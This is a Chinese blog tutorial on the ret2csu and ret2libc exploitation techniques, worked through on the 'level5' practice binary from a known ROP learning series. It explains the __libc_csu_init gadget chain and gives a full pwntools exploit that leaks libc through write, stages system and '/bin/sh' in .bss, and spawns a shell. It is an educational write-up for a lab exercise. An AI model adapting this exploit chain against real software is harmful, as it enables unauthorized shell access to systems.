ret2libc+ret2csu

发布于 2021-08-18  228 次阅读


以蒸米一步一步学 ROP 之 linux_x64 篇-level5为例:

在x86-64架构下,前6个参数的传递依次按照rdi、rsi、rdx、rcx、r8、r9的顺序来传递,剩下的压入栈中传递。

csu_init关键代码:

.text:00000000004005F0 loc_4005F0:                             ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0                 mov     rdx, r15
.text:00000000004005F3                 mov     rsi, r14
.text:00000000004005F6                 mov     edi, r13d
.text:00000000004005F9                 call    qword ptr [r12+rbx*8]
.text:00000000004005FD                 add     rbx, 1
.text:0000000000400601                 cmp     rbx, rbp
.text:0000000000400604                 jnz     short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606:                             ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606                 mov     rbx, [rsp+38h+var_30]
.text:000000000040060B                 mov     rbp, [rsp+38h+var_28]
.text:0000000000400610                 mov     r12, [rsp+38h+var_20]
.text:0000000000400615                 mov     r13, [rsp+38h+var_18]
.text:000000000040061A                 mov     r14, [rsp+38h+var_10]
.text:000000000040061F                 mov     r15, [rsp+38h+var_8]
.text:0000000000400624                 add     rsp, 38h
.text:0000000000400628                 retn
.text:0000000000400628 ; } // starts at 4005A0
.text:0000000000400628 __libc_csu_init endp</code>

以上csu init代码,可以帮助我们操控x86-64架构程序中,函数调用的前三个寄存器rdi、rsi、rdx。

例如,我们现在要通过ret2csu打印出write函数在got表中的地址,我们可以:

ssize_t write (int fd, const void * buf, size_t count)

第一步:为了使用call来调用write需要r12+rbx*8=write_gotcall qword ptr [r12+rbx*8]将rbx置0,此处就直接调用r12的地址了)

第二步:设置参数

edi = r13d = 1,
rsi = r14 = write_got,
rdx = r15 = 8

第三步:为了使jnz不跳转,继续向下执行(为了可以继续构造rop链),需要

rbx+1=rbp
rbx = 0
rbp = 1
r12 = write_got

由于add rsp, 38h 会将当前运行的栈指针rsp添加0x38,因此,我们如果需要继续利用,就需要继续发送0x38的垃圾数据进行填充,之后附上继续调用的函数地址。

因此,进行一次ret2csu(其中包含了一些ret2libc的技巧)执行某一个libc函数的过程为:

payload1 = b'A'*0x80+b'B'*8      #padding
payload1 += p64(gadget1)         #将程序流劫持到loc_400606(gadget1)
payload1 += p64(0)               #rsp
payload1 += p64(0)               #rbx
payload1 += p64(1)               #rbp
payload1 += p64(write_got)       #r12,就是需要执行函数的地址,对应执行了0x4005F9处的内容
payload1 += p64(1)               #r13 =&gt; edi 第一个参数
payload1 += p64(write_got)       #r14 =&gt; rsi 第二个参数
payload1 += p64(8)               #r15 =&gt; rdx 第三个参数
payload1 += p64(gadget2)
payload1 += b'\x00'*0x38         #padding,因为有 add rsp, 38h 故加上0x38个填充数据
payload1 += p64(main_addr)            #等待第二次触发漏洞。继续劫持

在本题中,需要三次劫持:

  1. write(1,write_got,8)泄露libc
  2. read(0,bss,16)写入system地址和/bin/sh字符串
  3. system('/bin/sh') getshell

完整exp:

from pwn import *
file_path='./level5'
context(binary=file_path,os='linux')
p = process(file_path)
elf = ELF(file_path)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
main_addr = 0x400564
write_got = elf.got['write']
read_got = elf.got['read']
gadget1 = 0x400606
gadget2 = 0x4005F0
bss_addr = 0x601028

#payload = b'A'*0x80+b'B'*8+p64(gadget1)+b'C'*8+b'D'*8+b'E'*8+b'F'*8+b'G'*8+b'H'*8#show how to set register
#######################leak libc###############################
payload1 = b'A'*0x80+b'B'*8      #padding
payload1 += p64(gadget1)         #ret
payload1 += p64(0)               #rsp
payload1 += p64(0)               #rbx
payload1 += p64(1)               #rbp
payload1 += p64(write_got)       #r12
payload1 += p64(1)               #r13 edi
payload1 += p64(write_got)       #r14 rsi
payload1 += p64(8)               #r15 rdx
payload1 += p64(gadget2)
payload1 += b'\x00'*0x38         #padding
payload1 += p64(main_addr)            #等待第二次触发漏洞
gdb.attach(p,'b *0x400562')
p.sendafter('Hello, World\n',payload1)

write_addr = u64(p.recv(8))
libc_base = write_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

success("libc_base:{}".format(hex(libc_base)))
success("system_addr:{}".format(hex(system_addr)))
success("binsh:{}".format(hex(binsh)))

#######################read(0,bss,8) system_addr###############################
payload2 = b'A'*0x80+b'B'*8      #padding
payload2 += p64(gadget1)         #ret
payload2 += p64(0)               #rsp
payload2 += p64(0)               #rbx
payload2 += p64(1)               #rbp
payload2 += p64(read_got)        #r12 ret
payload2 += p64(0)               #r13 edi
payload2 += p64(bss_addr)        #r14 rsi
payload2 += p64(16)               #r15 rdx
payload2 += p64(gadget2)
payload2 += b'\x00'*0x38         #padding
payload2 += p64(main_addr)            #等待第三次触发漏洞
p.sendafter('Hello, World\n',payload2)
sleep(1)
p.send(p64(system_addr)+b'/bin/sh\x00')
sleep(1)
#此时bss_addr中存储了system_addr,bss_addr+8中存储了"/bin/sh"
#######################system('/bin/sh') system_addr###############################
payload3 = b'A'*0x80+b'B'*8      #padding
payload3 += p64(gadget1)         #ret
payload3 += p64(0)               #rsp
payload3 += p64(0)               #rbx
payload3 += p64(1)               #rbp
payload3 += p64(bss_addr)        #r12 第二次的read将system的真实地址读入到了bss_addr中
payload3 += p64(bss_addr+8)      #r13 =&gt; edi 第二次的read将/bin/sh读入到了bss_addr+8中
payload3 += p64(0)               #r14 rsi
payload3 += p64(0)               #r15 rdx
payload3 += p64(gadget2)
payload3 += b'\x00'*0x38         #padding
payload3 += p64(main_addr)            #等待下一次触发漏洞
p.sendafter('Hello, World\n',payload3)

p.interactive()

参考资料:

https://blog.csdn.net/qq_41202237/article/details/105913597

https://www.bilibili.com/video/BV1Uv411j7fr?p=9


等风来,不如追风去。